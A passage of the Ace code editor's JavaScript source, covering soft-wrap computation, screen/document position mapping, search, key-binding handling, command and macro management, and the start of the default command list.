foldLine.addRemoveChars(firstRow, start.column, len);
}
}
if (useWrapMode && this.$wrapData.length != this.doc.getLength()) {
console.error("doc.getLength() and $wrapData.length have to be the same!");
}
this.$updating = false;
if (useWrapMode)
this.$updateWrapData(firstRow, lastRow);
else
this.$updateRowLengthCache(firstRow, lastRow);
return removedFolds;
};
this.$updateRowLengthCache = function(firstRow, lastRow, b) {
this.$rowLengthCache[firstRow] = null;
this.$rowLengthCache[lastRow] = null;
};
this.$updateWrapData = function(firstRow, lastRow) {
var lines = this.doc.getAllLines();
var tabSize = this.getTabSize();
var wrapData = this.$wrapData;
var wrapLimit = this.$wrapLimit;
var tokens;
var foldLine;
var row = firstRow;
lastRow = Math.min(lastRow, lines.length - 1);
while (row <= lastRow) {
foldLine = this.getFoldLine(row, foldLine);
if (!foldLine) {
tokens = this.$getDisplayTokens(lines[row]);
wrapData[row] = this.$computeWrapSplits(tokens, wrapLimit, tabSize);
row ++;
} else {
tokens = [];
foldLine.walk(function(placeholder, row, column, lastColumn) {
var walkTokens;
if (placeholder != null) {
walkTokens = this.$getDisplayTokens(
placeholder, tokens.length);
walkTokens[0] = PLACEHOLDER_START;
for (var i = 1; i < walkTokens.length; i++) {
walkTokens[i] = PLACEHOLDER_BODY;
}
} else {
walkTokens = this.$getDisplayTokens(
lines[row].substring(lastColumn, column),
tokens.length);
}
tokens = tokens.concat(walkTokens);
}.bind(this),
foldLine.end.row,
lines[foldLine.end.row].length + 1
);
wrapData[foldLine.start.row] = this.$computeWrapSplits(tokens, wrapLimit, tabSize);
row = foldLine.end.row + 1;
}
}
};
var CHAR = 1,
CHAR_EXT = 2,
PLACEHOLDER_START = 3,
PLACEHOLDER_BODY = 4,
PUNCTUATION = 9,
SPACE = 10,
TAB = 11,
TAB_SPACE = 12;
this.$computeWrapSplits = function(tokens, wrapLimit, tabSize) {
if (tokens.length == 0) {
return [];
}
var splits = [];
var displayLength = tokens.length;
var lastSplit = 0, lastDocSplit = 0;
var isCode = this.$wrapAsCode;
var indentedSoftWrap = this.$indentedSoftWrap;
var maxIndent = wrapLimit <= Math.max(2 * tabSize, 8)
|| indentedSoftWrap === false ? 0 : Math.floor(wrapLimit / 2);
function getWrapIndent() {
var indentation = 0;
if (maxIndent === 0)
return indentation;
if (indentedSoftWrap) {
for (var i = 0; i < tokens.length; i++) {
var token = tokens[i];
if (token == SPACE)
indentation += 1;
else if (token == TAB)
indentation += tabSize;
else if (token == TAB_SPACE)
continue;
else
break;
}
}
if (isCode && indentedSoftWrap !== false)
indentation += tabSize;
return Math.min(indentation, maxIndent);
}
function addSplit(screenPos) {
var displayed = tokens.slice(lastSplit, screenPos);
var len = displayed.length;
displayed.join("")
.replace(/12/g, function() {
len -= 1;
})
.replace(/2/g, function() {
len -= 1;
});
if (!splits.length) {
indent = getWrapIndent();
splits.indent = indent;
}
lastDocSplit += len;
splits.push(lastDocSplit);
lastSplit = screenPos;
}
var indent = 0;
while (displayLength - lastSplit > wrapLimit - indent) {
var split = lastSplit + wrapLimit - indent;
if (tokens[split - 1] >= SPACE && tokens[split] >= SPACE) {
addSplit(split);
continue;
}
if (tokens[split] == PLACEHOLDER_START || tokens[split] == PLACEHOLDER_BODY) {
for (split; split != lastSplit - 1; split--) {
if (tokens[split] == PLACEHOLDER_START) {
break;
}
}
if (split > lastSplit) {
addSplit(split);
continue;
}
split = lastSplit + wrapLimit;
for (split; split < tokens.length; split++) {
if (tokens[split] != PLACEHOLDER_BODY) {
break;
}
}
if (split == tokens.length) {
break; // Breaks the while-loop.
}
addSplit(split);
continue;
}
var minSplit = Math.max(split - (wrapLimit -(wrapLimit>>2)), lastSplit - 1);
while (split > minSplit && tokens[split] < PLACEHOLDER_START) {
split --;
}
if (isCode) {
while (split > minSplit && tokens[split] < PLACEHOLDER_START) {
split --;
}
while (split > minSplit && tokens[split] == PUNCTUATION) {
split --;
}
} else {
while (split > minSplit && tokens[split] < SPACE) {
split --;
}
}
if (split > minSplit) {
addSplit(++split);
continue;
}
split = lastSplit + wrapLimit;
if (tokens[split] == CHAR_EXT)
split--;
addSplit(split - indent);
}
return splits;
};
this.$getDisplayTokens = function(str, offset) {
var arr = [];
var tabSize;
offset = offset || 0;
for (var i = 0; i < str.length; i++) {
var c = str.charCodeAt(i);
if (c == 9) {
tabSize = this.getScreenTabSize(arr.length + offset);
arr.push(TAB);
for (var n = 1; n < tabSize; n++) {
arr.push(TAB_SPACE);
}
}
else if (c == 32) {
arr.push(SPACE);
} else if((c > 39 && c < 48) || (c > 57 && c < 64)) {
arr.push(PUNCTUATION);
}
else if (c >= 0x1100 && isFullWidth(c)) {
arr.push(CHAR, CHAR_EXT);
} else {
arr.push(CHAR);
}
}
return arr;
};
this.$getStringScreenWidth = function(str, maxScreenColumn, screenColumn) {
if (maxScreenColumn == 0)
return [0, 0];
if (maxScreenColumn == null)
maxScreenColumn = Infinity;
screenColumn = screenColumn || 0;
var c, column;
for (column = 0; column < str.length; column++) {
c = str.charCodeAt(column);
if (c == 9) {
screenColumn += this.getScreenTabSize(screenColumn);
}
else if (c >= 0x1100 && isFullWidth(c)) {
screenColumn += 2;
} else {
screenColumn += 1;
}
if (screenColumn > maxScreenColumn) {
break;
}
}
return [screenColumn, column];
};
this.lineWidgets = null;
this.getRowLength = function(row) {
if (this.lineWidgets)
var h = this.lineWidgets[row] && this.lineWidgets[row].rowCount || 0;
else
h = 0;
if (!this.$useWrapMode || !this.$wrapData[row]) {
return 1 + h;
} else {
return this.$wrapData[row].length + 1 + h;
}
};
this.getRowLineCount = function(row) {
if (!this.$useWrapMode || !this.$wrapData[row]) {
return 1;
} else {
return this.$wrapData[row].length + 1;
}
};
this.getRowWrapIndent = function(screenRow) {
if (this.$useWrapMode) {
var pos = this.screenToDocumentPosition(screenRow, Number.MAX_VALUE);
var splits = this.$wrapData[pos.row];
return splits.length && splits[0] < pos.column ? splits.indent : 0;
} else {
return 0;
}
};
this.getScreenLastRowColumn = function(screenRow) {
var pos = this.screenToDocumentPosition(screenRow, Number.MAX_VALUE);
return this.documentToScreenColumn(pos.row, pos.column);
};
this.getDocumentLastRowColumn = function(docRow, docColumn) {
var screenRow = this.documentToScreenRow(docRow, docColumn);
return this.getScreenLastRowColumn(screenRow);
};
this.getDocumentLastRowColumnPosition = function(docRow, docColumn) {
var screenRow = this.documentToScreenRow(docRow, docColumn);
return this.screenToDocumentPosition(screenRow, Number.MAX_VALUE / 10);
};
this.getRowSplitData = function(row) {
if (!this.$useWrapMode) {
return undefined;
} else {
return this.$wrapData[row];
}
};
this.getScreenTabSize = function(screenColumn) {
return this.$tabSize - screenColumn % this.$tabSize;
};
this.screenToDocumentRow = function(screenRow, screenColumn) {
return this.screenToDocumentPosition(screenRow, screenColumn).row;
};
this.screenToDocumentColumn = function(screenRow, screenColumn) {
return this.screenToDocumentPosition(screenRow, screenColumn).column;
};
this.screenToDocumentPosition = function(screenRow, screenColumn, offsetX) {
if (screenRow < 0)
return {row: 0, column: 0};
var line;
var docRow = 0;
var docColumn = 0;
var column;
var row = 0;
var rowLength = 0;
var rowCache = this.$screenRowCache;
var i = this.$getRowCacheIndex(rowCache, screenRow);
var l = rowCache.length;
if (l && i >= 0) {
var row = rowCache[i];
var docRow = this.$docRowCache[i];
var doCache = screenRow > rowCache[l - 1];
} else {
var doCache = !l;
}
var maxRow = this.getLength() - 1;
var foldLine = this.getNextFoldLine(docRow);
var foldStart = foldLine ? foldLine.start.row : Infinity;
while (row <= screenRow) {
rowLength = this.getRowLength(docRow);
if (row + rowLength > screenRow || docRow >= maxRow) {
break;
} else {
row += rowLength;
docRow++;
if (docRow > foldStart) {
docRow = foldLine.end.row+1;
foldLine = this.getNextFoldLine(docRow, foldLine);
foldStart = foldLine ? foldLine.start.row : Infinity;
}
}
if (doCache) {
this.$docRowCache.push(docRow);
this.$screenRowCache.push(row);
}
}
if (foldLine && foldLine.start.row <= docRow) {
line = this.getFoldDisplayLine(foldLine);
docRow = foldLine.start.row;
} else if (row + rowLength <= screenRow || docRow > maxRow) {
return {
row: maxRow,
column: this.getLine(maxRow).length
};
} else {
line = this.getLine(docRow);
foldLine = null;
}
var wrapIndent = 0, splitIndex = Math.floor(screenRow - row);
if (this.$useWrapMode) {
var splits = this.$wrapData[docRow];
if (splits) {
column = splits[splitIndex];
if(splitIndex > 0 && splits.length) {
wrapIndent = splits.indent;
docColumn = splits[splitIndex - 1] || splits[splits.length - 1];
line = line.substring(docColumn);
}
}
}
if (offsetX !== undefined && this.$bidiHandler.isBidiRow(row + splitIndex, docRow, splitIndex))
screenColumn = this.$bidiHandler.offsetToCol(offsetX);
docColumn += this.$getStringScreenWidth(line, screenColumn - wrapIndent)[1];
if (this.$useWrapMode && docColumn >= column)
docColumn = column - 1;
if (foldLine)
return foldLine.idxToPosition(docColumn);
return {row: docRow, column: docColumn};
};
this.documentToScreenPosition = function(docRow, docColumn) {
if (typeof docColumn === "undefined")
var pos = this.$clipPositionToDocument(docRow.row, docRow.column);
else
pos = this.$clipPositionToDocument(docRow, docColumn);
docRow = pos.row;
docColumn = pos.column;
var screenRow = 0;
var foldStartRow = null;
var fold = null;
fold = this.getFoldAt(docRow, docColumn, 1);
if (fold) {
docRow = fold.start.row;
docColumn = fold.start.column;
}
var rowEnd, row = 0;
var rowCache = this.$docRowCache;
var i = this.$getRowCacheIndex(rowCache, docRow);
var l = rowCache.length;
if (l && i >= 0) {
var row = rowCache[i];
var screenRow = this.$screenRowCache[i];
var doCache = docRow > rowCache[l - 1];
} else {
var doCache = !l;
}
var foldLine = this.getNextFoldLine(row);
var foldStart = foldLine ?foldLine.start.row :Infinity;
while (row < docRow) {
if (row >= foldStart) {
rowEnd = foldLine.end.row + 1;
if (rowEnd > docRow)
break;
foldLine = this.getNextFoldLine(rowEnd, foldLine);
foldStart = foldLine ?foldLine.start.row :Infinity;
}
else {
rowEnd = row + 1;
}
screenRow += this.getRowLength(row);
row = rowEnd;
if (doCache) {
this.$docRowCache.push(row);
this.$screenRowCache.push(screenRow);
}
}
var textLine = "";
if (foldLine && row >= foldStart) {
textLine = this.getFoldDisplayLine(foldLine, docRow, docColumn);
foldStartRow = foldLine.start.row;
} else {
textLine = this.getLine(docRow).substring(0, docColumn);
foldStartRow = docRow;
}
var wrapIndent = 0;
if (this.$useWrapMode) {
var wrapRow = this.$wrapData[foldStartRow];
if (wrapRow) {
var screenRowOffset = 0;
while (textLine.length >= wrapRow[screenRowOffset]) {
screenRow ++;
screenRowOffset++;
}
textLine = textLine.substring(
wrapRow[screenRowOffset - 1] || 0, textLine.length
);
wrapIndent = screenRowOffset > 0 ? wrapRow.indent : 0;
}
}
return {
row: screenRow,
column: wrapIndent + this.$getStringScreenWidth(textLine)[0]
};
};
this.documentToScreenColumn = function(row, docColumn) {
return this.documentToScreenPosition(row, docColumn).column;
};
this.documentToScreenRow = function(docRow, docColumn) {
return this.documentToScreenPosition(docRow, docColumn).row;
};
this.getScreenLength = function() {
var screenRows = 0;
var fold = null;
if (!this.$useWrapMode) {
screenRows = this.getLength();
var foldData = this.$foldData;
for (var i = 0; i < foldData.length; i++) {
fold = foldData[i];
screenRows -= fold.end.row - fold.start.row;
}
} else {
var lastRow = this.$wrapData.length;
var row = 0, i = 0;
var fold = this.$foldData[i++];
var foldStart = fold ? fold.start.row :Infinity;
while (row < lastRow) {
var splits = this.$wrapData[row];
screenRows += splits ? splits.length + 1 : 1;
row ++;
if (row > foldStart) {
row = fold.end.row+1;
fold = this.$foldData[i++];
foldStart = fold ?fold.start.row :Infinity;
}
}
}
if (this.lineWidgets)
screenRows += this.$getWidgetScreenLength();
return screenRows;
};
this.$setFontMetrics = function(fm) {
if (!this.$enableVarChar) return;
this.$getStringScreenWidth = function(str, maxScreenColumn, screenColumn) {
if (maxScreenColumn === 0)
return [0, 0];
if (!maxScreenColumn)
maxScreenColumn = Infinity;
screenColumn = screenColumn || 0;
var c, column;
for (column = 0; column < str.length; column++) {
c = str.charAt(column);
if (c === "\t") {
screenColumn += this.getScreenTabSize(screenColumn);
} else {
screenColumn += fm.getCharacterWidth(c);
}
if (screenColumn > maxScreenColumn) {
break;
}
}
return [screenColumn, column];
};
};
this.destroy = function() {
if (this.bgTokenizer) {
this.bgTokenizer.setDocument(null);
this.bgTokenizer = null;
}
this.$stopWorker();
};
this.isFullWidth = isFullWidth;
function isFullWidth(c) {
if (c < 0x1100)
return false;
return c >= 0x1100 && c <= 0x115F ||
c >= 0x11A3 && c <= 0x11A7 ||
c >= 0x11FA && c <= 0x11FF ||
c >= 0x2329 && c <= 0x232A ||
c >= 0x2E80 && c <= 0x2E99 ||
c >= 0x2E9B && c <= 0x2EF3 ||
c >= 0x2F00 && c <= 0x2FD5 ||
c >= 0x2FF0 && c <= 0x2FFB ||
c >= 0x3000 && c <= 0x303E ||
c >= 0x3041 && c <= 0x3096 ||
c >= 0x3099 && c <= 0x30FF ||
c >= 0x3105 && c <= 0x312D ||
c >= 0x3131 && c <= 0x318E ||
c >= 0x3190 && c <= 0x31BA ||
c >= 0x31C0 && c <= 0x31E3 ||
c >= 0x31F0 && c <= 0x321E ||
c >= 0x3220 && c <= 0x3247 ||
c >= 0x3250 && c <= 0x32FE ||
c >= 0x3300 && c <= 0x4DBF ||
c >= 0x4E00 && c <= 0xA48C ||
c >= 0xA490 && c <= 0xA4C6 ||
c >= 0xA960 && c <= 0xA97C ||
c >= 0xAC00 && c <= 0xD7A3 ||
c >= 0xD7B0 && c <= 0xD7C6 ||
c >= 0xD7CB && c <= 0xD7FB ||
c >= 0xF900 && c <= 0xFAFF ||
c >= 0xFE10 && c <= 0xFE19 ||
c >= 0xFE30 && c <= 0xFE52 ||
c >= 0xFE54 && c <= 0xFE66 ||
c >= 0xFE68 && c <= 0xFE6B ||
c >= 0xFF01 && c <= 0xFF60 ||
c >= 0xFFE0 && c <= 0xFFE6;
}
}).call(EditSession.prototype);
require("./edit_session/folding").Folding.call(EditSession.prototype);
require("./edit_session/bracket_match").BracketMatch.call(EditSession.prototype);
config.defineOptions(EditSession.prototype, "session", {
wrap: {
set: function(value) {
if (!value || value == "off")
value = false;
else if (value == "free")
value = true;
else if (value == "printMargin")
value = -1;
else if (typeof value == "string")
value = parseInt(value, 10) || false;
if (this.$wrap == value)
return;
this.$wrap = value;
if (!value) {
this.setUseWrapMode(false);
} else {
var col = typeof value == "number" ? value : null;
this.setWrapLimitRange(col, col);
this.setUseWrapMode(true);
}
},
get: function() {
if (this.getUseWrapMode()) {
if (this.$wrap == -1)
return "printMargin";
if (!this.getWrapLimitRange().min)
return "free";
return this.$wrap;
}
return "off";
},
handlesSet: true
},
wrapMethod: {
set: function(val) {
val = val == "auto"
? this.$mode.type != "text"
: val != "text";
if (val != this.$wrapAsCode) {
this.$wrapAsCode = val;
if (this.$useWrapMode) {
this.$modified = true;
this.$resetRowCache(0);
this.$updateWrapData(0, this.getLength() - 1);
}
}
},
initialValue: "auto"
},
indentedSoftWrap: { initialValue: true },
firstLineNumber: {
set: function() {this._signal("changeBreakpoint");},
initialValue: 1
},
useWorker: {
set: function(useWorker) {
this.$useWorker = useWorker;
this.$stopWorker();
if (useWorker)
this.$startWorker();
},
initialValue: true
},
useSoftTabs: {initialValue: true},
tabSize: {
set: function(tabSize) {
if (isNaN(tabSize) || this.$tabSize === tabSize) return;
this.$modified = true;
this.$rowLengthCache = [];
this.$tabSize = tabSize;
this._signal("changeTabSize");
},
initialValue: 4,
handlesSet: true
},
navigateWithinSoftTabs: {initialValue: false},
overwrite: {
set: function(val) {this._signal("changeOverwrite");},
initialValue: false
},
newLineMode: {
set: function(val) {this.doc.setNewLineMode(val);},
get: function() {return this.doc.getNewLineMode();},
handlesSet: true
},
mode: {
set: function(val) { this.setMode(val); },
get: function() { return this.$modeId; }
}
});
exports.EditSession = EditSession;
});
ace.define("ace/search",["require","exports","module","ace/lib/lang","ace/lib/oop","ace/range"], function(require, exports, module) {
"use strict";
var lang = require("./lib/lang");
var oop = require("./lib/oop");
var Range = require("./range").Range;
var Search = function() {
this.$options = {};
};
(function() {
this.set = function(options) {
oop.mixin(this.$options, options);
return this;
};
this.getOptions = function() {
return lang.copyObject(this.$options);
};
this.setOptions = function(options) {
this.$options = options;
};
this.find = function(session) {
var options = this.$options;
var iterator = this.$matchIterator(session, options);
if (!iterator)
return false;
var firstRange = null;
iterator.forEach(function(sr, sc, er, ec) {
firstRange = new Range(sr, sc, er, ec);
if (sc == ec && options.start && options.start.start
&& options.skipCurrent != false && firstRange.isEqual(options.start)
) {
firstRange = null;
return false;
}
return true;
});
return firstRange;
};
this.findAll = function(session) {
var options = this.$options;
if (!options.needle)
return [];
this.$assembleRegExp(options);
var range = options.range;
var lines = range
? session.getLines(range.start.row, range.end.row)
: session.doc.getAllLines();
var ranges = [];
var re = options.re;
if (options.$isMultiLine) {
var len = re.length;
var maxRow = lines.length - len;
var prevRange;
outer: for (var row = re.offset || 0; row <= maxRow; row++) {
for (var j = 0; j < len; j++)
if (lines[row + j].search(re[j]) == -1)
continue outer;
var startLine = lines[row];
var line = lines[row + len - 1];
var startIndex = startLine.length - startLine.match(re[0])[0].length;
var endIndex = line.match(re[len - 1])[0].length;
if (prevRange && prevRange.end.row === row &&
prevRange.end.column > startIndex
) {
continue;
}
ranges.push(prevRange = new Range(
row, startIndex, row + len - 1, endIndex
));
if (len > 2)
row = row + len - 2;
}
} else {
for (var i = 0; i < lines.length; i++) {
var matches = lang.getMatchOffsets(lines[i], re);
for (var j = 0; j < matches.length; j++) {
var match = matches[j];
ranges.push(new Range(i, match.offset, i, match.offset + match.length));
}
}
}
if (range) {
var startColumn = range.start.column;
var endColumn = range.start.column;
var i = 0, j = ranges.length - 1;
while (i < j && ranges[i].start.column < startColumn && ranges[i].start.row == range.start.row)
i++;
while (i < j && ranges[j].end.column > endColumn && ranges[j].end.row == range.end.row)
j--;
ranges = ranges.slice(i, j + 1);
for (i = 0, j = ranges.length; i < j; i++) {
ranges[i].start.row += range.start.row;
ranges[i].end.row += range.start.row;
}
}
return ranges;
};
this.replace = function(input, replacement) {
var options = this.$options;
var re = this.$assembleRegExp(options);
if (options.$isMultiLine)
return replacement;
if (!re)
return;
var match = re.exec(input);
if (!match || match[0].length != input.length)
return null;
replacement = input.replace(re, replacement);
if (options.preserveCase) {
replacement = replacement.split("");
for (var i = Math.min(input.length, input.length); i--; ) {
var ch = input[i];
if (ch && ch.toLowerCase() != ch)
replacement[i] = replacement[i].toUpperCase();
else
replacement[i] = replacement[i].toLowerCase();
}
replacement = replacement.join("");
}
return replacement;
};
this.$assembleRegExp = function(options, $disableFakeMultiline) {
if (options.needle instanceof RegExp)
return options.re = options.needle;
var needle = options.needle;
if (!options.needle)
return options.re = false;
if (!options.regExp)
needle = lang.escapeRegExp(needle);
if (options.wholeWord)
needle = addWordBoundary(needle, options);
var modifier = options.caseSensitive ? "gm" : "gmi";
options.$isMultiLine = !$disableFakeMultiline && /[\n\r]/.test(needle);
if (options.$isMultiLine)
return options.re = this.$assembleMultilineRegExp(needle, modifier);
try {
var re = new RegExp(needle, modifier);
} catch(e) {
re = false;
}
return options.re = re;
};
this.$assembleMultilineRegExp = function(needle, modifier) {
var parts = needle.replace(/\r\n|\r|\n/g, "$\n^").split("\n");
var re = [];
for (var i = 0; i < parts.length; i++) try {
re.push(new RegExp(parts[i], modifier));
} catch(e) {
return false;
}
return re;
};
this.$matchIterator = function(session, options) {
var re = this.$assembleRegExp(options);
if (!re)
return false;
var backwards = options.backwards == true;
var skipCurrent = options.skipCurrent != false;
var range = options.range;
var start = options.start;
if (!start)
start = range ? range[backwards ? "end" : "start"] : session.selection.getRange();
if (start.start)
start = start[skipCurrent != backwards ? "end" : "start"];
var firstRow = range ? range.start.row : 0;
var lastRow = range ? range.end.row : session.getLength() - 1;
if (backwards) {
var forEach = function(callback) {
var row = start.row;
if (forEachInLine(row, start.column, callback))
return;
for (row--; row >= firstRow; row--)
if (forEachInLine(row, Number.MAX_VALUE, callback))
return;
if (options.wrap == false)
return;
for (row = lastRow, firstRow = start.row; row >= firstRow; row--)
if (forEachInLine(row, Number.MAX_VALUE, callback))
return;
};
}
else {
var forEach = function(callback) {
var row = start.row;
if (forEachInLine(row, start.column, callback))
return;
for (row = row + 1; row <= lastRow; row++)
if (forEachInLine(row, 0, callback))
return;
if (options.wrap == false)
return;
for (row = firstRow, lastRow = start.row; row <= lastRow; row++)
if (forEachInLine(row, 0, callback))
return;
};
}
if (options.$isMultiLine) {
var len = re.length;
var forEachInLine = function(row, offset, callback) {
var startRow = backwards ? row - len + 1 : row;
if (startRow < 0) return;
var line = session.getLine(startRow);
var startIndex = line.search(re[0]);
if (!backwards && startIndex < offset || startIndex === -1) return;
for (var i = 1; i < len; i++) {
line = session.getLine(startRow + i);
if (line.search(re[i]) == -1)
return;
}
var endIndex = line.match(re[len - 1])[0].length;
if (backwards && endIndex > offset) return;
if (callback(startRow, startIndex, startRow + len - 1, endIndex))
return true;
};
}
else if (backwards) {
var forEachInLine = function(row, endIndex, callback) {
var line = session.getLine(row);
var matches = [];
var m, last = 0;
re.lastIndex = 0;
while((m = re.exec(line))) {
var length = m[0].length;
last = m.index;
if (!length) {
if (last >= line.length) break;
re.lastIndex = last += 1;
}
if (m.index + length > endIndex)
break;
matches.push(m.index, length);
}
for (var i = matches.length - 1; i >= 0; i -= 2) {
var column = matches[i - 1];
var length = matches[i];
if (callback(row, column, row, column + length))
return true;
}
};
}
else {
var forEachInLine = function(row, startIndex, callback) {
var line = session.getLine(row);
var m;
var last = startIndex;
re.lastIndex = startIndex;
while((m = re.exec(line))) {
var length = m[0].length;
last = m.index;
if (callback(row, last, row,last + length))
return true;
if (!length) {
re.lastIndex = last += 1;
if (last >= line.length) return false;
}
}
};
}
return {forEach: forEach};
};
}).call(Search.prototype);
function addWordBoundary(needle, options) {
function wordBoundary(c) {
if (/\w/.test(c) || options.regExp) return "\\b";
return "";
}
return wordBoundary(needle[0]) + needle
+ wordBoundary(needle[needle.length - 1]);
}
exports.Search = Search;
});
ace.define("ace/keyboard/hash_handler",["require","exports","module","ace/lib/keys","ace/lib/useragent"], function(require, exports, module) {
"use strict";
var keyUtil = require("../lib/keys");
var useragent = require("../lib/useragent");
var KEY_MODS = keyUtil.KEY_MODS;
function HashHandler(config, platform) {
this.platform = platform || (useragent.isMac ? "mac" : "win");
this.commands = {};
this.commandKeyBinding = {};
this.addCommands(config);
this.$singleCommand = true;
}
function MultiHashHandler(config, platform) {
HashHandler.call(this, config, platform);
this.$singleCommand = false;
}
MultiHashHandler.prototype = HashHandler.prototype;
(function() {
this.addCommand = function(command) {
if (this.commands[command.name])
this.removeCommand(command);
this.commands[command.name] = command;
if (command.bindKey)
this._buildKeyHash(command);
};
this.removeCommand = function(command, keepCommand) {
var name = command && (typeof command === 'string' ? command : command.name);
command = this.commands[name];
if (!keepCommand)
delete this.commands[name];
var ckb = this.commandKeyBinding;
for (var keyId in ckb) {
var cmdGroup = ckb[keyId];
if (cmdGroup == command) {
delete ckb[keyId];
} else if (Array.isArray(cmdGroup)) {
var i = cmdGroup.indexOf(command);
if (i != -1) {
cmdGroup.splice(i, 1);
if (cmdGroup.length == 1)
ckb[keyId] = cmdGroup[0];
}
}
}
};
this.bindKey = function(key, command, position) {
if (typeof key == "object" && key) {
if (position == undefined)
position = key.position;
key = key[this.platform];
}
if (!key)
return;
if (typeof command == "function")
return this.addCommand({exec: command, bindKey: key, name: command.name || key});
key.split("|").forEach(function(keyPart) {
var chain = "";
if (keyPart.indexOf(" ") != -1) {
var parts = keyPart.split(/\s+/);
keyPart = parts.pop();
parts.forEach(function(keyPart) {
var binding = this.parseKeys(keyPart);
var id = KEY_MODS[binding.hashId] + binding.key;
chain += (chain ? " " : "") + id;
this._addCommandToBinding(chain, "chainKeys");
}, this);
chain += " ";
}
var binding = this.parseKeys(keyPart);
var id = KEY_MODS[binding.hashId] + binding.key;
this._addCommandToBinding(chain + id, command, position);
}, this);
};
function getPosition(command) {
return typeof command == "object" && command.bindKey
&& command.bindKey.position
|| (command.isDefault ? -100 : 0);
}
this._addCommandToBinding = function(keyId, command, position) {
var ckb = this.commandKeyBinding, i;
if (!command) {
delete ckb[keyId];
} else if (!ckb[keyId] || this.$singleCommand) {
ckb[keyId] = command;
} else {
if (!Array.isArray(ckb[keyId])) {
ckb[keyId] = [ckb[keyId]];
} else if ((i = ckb[keyId].indexOf(command)) != -1) {
ckb[keyId].splice(i, 1);
}
if (typeof position != "number") {
position = getPosition(command);
}
var commands = ckb[keyId];
for (i = 0; i < commands.length; i++) {
var other = commands[i];
var otherPos = getPosition(other);
if (otherPos > position)
break;
}
commands.splice(i, 0, command);
}
};
this.addCommands = function(commands) {
commands && Object.keys(commands).forEach(function(name) {
var command = commands[name];
if (!command)
return;
if (typeof command === "string")
return this.bindKey(command, name);
if (typeof command === "function")
command = { exec: command };
if (typeof command !== "object")
return;
if (!command.name)
command.name = name;
this.addCommand(command);
}, this);
};
this.removeCommands = function(commands) {
Object.keys(commands).forEach(function(name) {
this.removeCommand(commands[name]);
}, this);
};
this.bindKeys = function(keyList) {
Object.keys(keyList).forEach(function(key) {
this.bindKey(key, keyList[key]);
}, this);
};
this._buildKeyHash = function(command) {
this.bindKey(command.bindKey, command);
};
this.parseKeys = function(keys) {
var parts = keys.toLowerCase().split(/[\-\+]([\-\+])?/).filter(function(x){return x;});
var key = parts.pop();
var keyCode = keyUtil[key];
if (keyUtil.FUNCTION_KEYS[keyCode])
key = keyUtil.FUNCTION_KEYS[keyCode].toLowerCase();
else if (!parts.length)
return {key: key, hashId: -1};
else if (parts.length == 1 && parts[0] == "shift")
return {key: key.toUpperCase(), hashId: -1};
var hashId = 0;
for (var i = parts.length; i--;) {
var modifier = keyUtil.KEY_MODS[parts[i]];
if (modifier == null) {
if (typeof console != "undefined")
console.error("invalid modifier " + parts[i] + " in " + keys);
return false;
}
hashId |= modifier;
}
return {key: key, hashId: hashId};
};
this.findKeyCommand = function findKeyCommand(hashId, keyString) {
var key = KEY_MODS[hashId] + keyString;
return this.commandKeyBinding[key];
};
this.handleKeyboard = function(data, hashId, keyString, keyCode) {
if (keyCode < 0) return;
var key = KEY_MODS[hashId] + keyString;
var command = this.commandKeyBinding[key];
if (data.$keyChain) {
data.$keyChain += " " + key;
command = this.commandKeyBinding[data.$keyChain] || command;
}
if (command) {
if (command == "chainKeys" || command[command.length - 1] == "chainKeys") {
data.$keyChain = data.$keyChain || key;
return {command: "null"};
}
}
if (data.$keyChain) {
if ((!hashId || hashId == 4) && keyString.length == 1)
data.$keyChain = data.$keyChain.slice(0, -key.length - 1); // wait for input
else if (hashId == -1 || keyCode > 0)
data.$keyChain = ""; // reset keyChain
}
return {command: command};
};
this.getStatusText = function(editor, data) {
return data.$keyChain || "";
};
}).call(HashHandler.prototype);
exports.HashHandler = HashHandler;
exports.MultiHashHandler = MultiHashHandler;
});
ace.define("ace/commands/command_manager",["require","exports","module","ace/lib/oop","ace/keyboard/hash_handler","ace/lib/event_emitter"], function(require, exports, module) {
"use strict";
var oop = require("../lib/oop");
var MultiHashHandler = require("../keyboard/hash_handler").MultiHashHandler;
var EventEmitter = require("../lib/event_emitter").EventEmitter;
var CommandManager = function(platform, commands) {
MultiHashHandler.call(this, commands, platform);
this.byName = this.commands;
this.setDefaultHandler("exec", function(e) {
return e.command.exec(e.editor, e.args || {});
});
};
oop.inherits(CommandManager, MultiHashHandler);
(function() {
oop.implement(this, EventEmitter);
this.exec = function(command, editor, args) {
if (Array.isArray(command)) {
for (var i = command.length; i--; ) {
if (this.exec(command[i], editor, args)) return true;
}
return false;
}
if (typeof command === "string")
command = this.commands[command];
if (!command)
return false;
if (editor && editor.$readOnly && !command.readOnly)
return false;
if (command.isAvailable && !command.isAvailable(editor))
return false;
var e = {editor: editor, command: command, args: args};
e.returnValue = this._emit("exec", e);
this._signal("afterExec", e);
return e.returnValue === false ? false : true;
};
this.toggleRecording = function(editor) {
if (this.$inReplay)
return;
editor && editor._emit("changeStatus");
if (this.recording) {
this.macro.pop();
this.removeEventListener("exec", this.$addCommandToMacro);
if (!this.macro.length)
this.macro = this.oldMacro;
return this.recording = false;
}
if (!this.$addCommandToMacro) {
this.$addCommandToMacro = function(e) {
this.macro.push([e.command, e.args]);
}.bind(this);
}
this.oldMacro = this.macro;
this.macro = [];
this.on("exec", this.$addCommandToMacro);
return this.recording = true;
};
this.replay = function(editor) {
if (this.$inReplay || !this.macro)
return;
if (this.recording)
return this.toggleRecording(editor);
try {
this.$inReplay = true;
this.macro.forEach(function(x) {
if (typeof x == "string")
this.exec(x, editor);
else
this.exec(x[0], editor, x[1]);
}, this);
} finally {
this.$inReplay = false;
}
};
this.trimMacro = function(m) {
return m.map(function(x){
if (typeof x[0] != "string")
x[0] = x[0].name;
if (!x[1])
x = x[0];
return x;
});
};
}).call(CommandManager.prototype);
exports.CommandManager = CommandManager;
});
ace.define("ace/commands/default_commands",["require","exports","module","ace/lib/lang","ace/config","ace/range"], function(require, exports, module) {
"use strict";
var lang = require("../lib/lang");
var config = require("../config");
var Range = require("../range").Range;
function bindKey(win, mac) {
return {win: win, mac: mac};
}
exports.commands = [{
name: "showSettingsMenu",
bindKey: bindKey("Ctrl-,", "Command-,"),
exec: function(editor) {
config.loadModule("ace/ext/settings_menu", function(module) {
module.init(editor);
editor.showSettingsMenu();
});
},
readOnly: true
}, {
name: "goToNextError",
bindKey: bindKey("Alt-E", "F4"),
exec: function(editor) {
config.loadModule("ace/ext/error_marker", function(module) {
module.showErrorMarker(editor, 1);
});
},
scrollIntoView: "animate",
readOnly: true
}, {
name: "goToPreviousError",
bindKey: bindKey("Alt-Shift-E", "Shift-F4"),
